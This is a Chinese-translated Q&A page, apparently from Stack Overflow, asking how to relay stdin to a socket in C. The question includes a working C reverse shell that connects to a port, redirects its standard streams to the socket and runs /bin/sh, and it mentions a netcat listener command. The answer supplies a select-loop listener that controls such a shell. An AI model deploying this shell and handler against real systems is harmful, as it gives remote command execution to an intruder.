将标准输入流式传输到套接字

Posted

技术标签:

【中文标题】将标准输入流式传输到套接字【英文标题】:Streaming stdin to a socket 【发布时间】:2021-05-18 13:38:18 【问题描述】:

在 Python 3 中,我可以利用telnetlib 的库来使用/导入方法interact,这可以让我将stdin 流式传输到传递给interact 方法的socket。此外,netcat 提供了类似的功能(当然除了能够在 Python 3 中以编程方式传递 socket),例如:nc -nvlp 8080

我的问题是:

有没有办法以编程方式复制telnetlibinteract 方法的行为/将stdin 流流式传输到C 中给定的socket?还是这个过程很复杂?如果过于简单,interact 方法的逻辑如何在 C 中复制?

例如,假设我正在运行一个类似于 SSH 的简单客户端 C 反向 shell 程序,它使用 dup2stdinstdoutstderr 流式传输到重复的套接字 file descriptor。我如何能够在 C 中以编程方式与该客户端通信?

我尝试以编程方式与之通信的示例 C 客户端:

#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>

#define REMOTE_ADDR "127.0.0.1"
#define REMOTE_PORT 8080

int main(int argc, char *argv[])

    struct sockaddr_in sa;
    int s;

    sa.sin_family = AF_INET;
    sa.sin_addr.s_addr = inet_addr(REMOTE_ADDR);
    sa.sin_port = htons(REMOTE_PORT);

    s = socket(AF_INET, SOCK_STREAM, 0);
    connect(s, (struct sockaddr *)&sa, sizeof(sa));

    for (int i=0; i<3; i++)
           dup2(s, i);

    execve("/bin/sh", 0, 0);
    return 0;

总结一下:我基本上是尝试在 C 中以编程方式与提供的客户端进行通信。

【问题讨论】:

是的,您从标准输入读取,然后写入套接字。然后你从标准输入读取并再次写入套接字。重复直到奶牛回家。 @ty_c0der - 从您的示例 C 客户端来看,您实际上并不想使用 Telnet 协议,对吧? Python 的telnetlib 库提供interact 方法我想复制此方法的功能,类似地,如果与netcat 将输入流流式传输到套接字的能力不同的话。我愿意使用任何有用的东西。 因为它是一个反向 shell(如 ssh),只是为了正确地尝试流式传输标准输入。 如果你能找到任何可以帮助我理解如何实现这一点的 sn-ps 代码,如果你能发布它们,那就太棒了。 【参考方案1】:

我基本上是尝试在 C 中以编程方式与提供的客户端进行通信。

做你想做的事情的程序不需要很大;这是一个简单的例子:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define PORT 8080

int main(int argc, char *argv[])

    struct sockaddr_in sa;
    sa.sin_family = AF_INET;
    sa.sin_addr.s_addr = INADDR_ANY;
    sa.sin_port = htons(PORT);
    int s = socket(AF_INET, SOCK_STREAM, 0);
    if (bind(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) perror("bind"), exit(1);
    listen(s, 0);
    int t = accept(s, NULL, NULL);
    if (t < 0) perror("accept"), exit(1);
    fd_set fds, fdr;
    FD_ZERO(&fds);
    FD_SET(0, &fds);    // add STDIN to the fd set
    FD_SET(t, &fds);    // add connection to the fd set
    while (fdr = fds, select(t+1, &fdr, NULL, NULL, NULL) > 0)
       char buf[BUFSIZ];
        if (FD_ISSET(0, &fdr))
           // this is the user's input
            size_t count = read(0, buf, sizeof buf);
            if (count > 0) write(t, buf, count);
            else break; // no more input from user
        
        if (FD_ISSET(t, &fdr))
           // this is the client's output or termination
            size_t count = read(t, buf, sizeof buf);
            if (count > 0) write(1, buf, count);
            else break; // no more data from client
        
    

关键部分是 select 循环,它检查 STDIN 或套接字连接是否可读,并将读取的数据复制到另一端。

【讨论】:

瞧!这非常有效,正是我需要学习的! 出于好奇,这是否以相反的方式工作,例如连接到绑定 tcp 反向 shell? 是的,select 循环的工作方式与建立连接的方式无关。

以上是关于将标准输入流式传输到套接字的主要内容,如果未能解决你的问题,请参考以下文章

golang 将套接字附加到标准输入/标准输出

将音频从 Mac 上的麦克风流式传输到 iPhone

将视频文件作为字节流式传输到stdin

nodejs/express - 立即将标准输出流式传输到客户端

如何使用 Python 将标准输入/标准输出通过管道传输到 Perl 脚本

将控制台应用程序的标准输出流式传输到 ASP.NET MVC 视图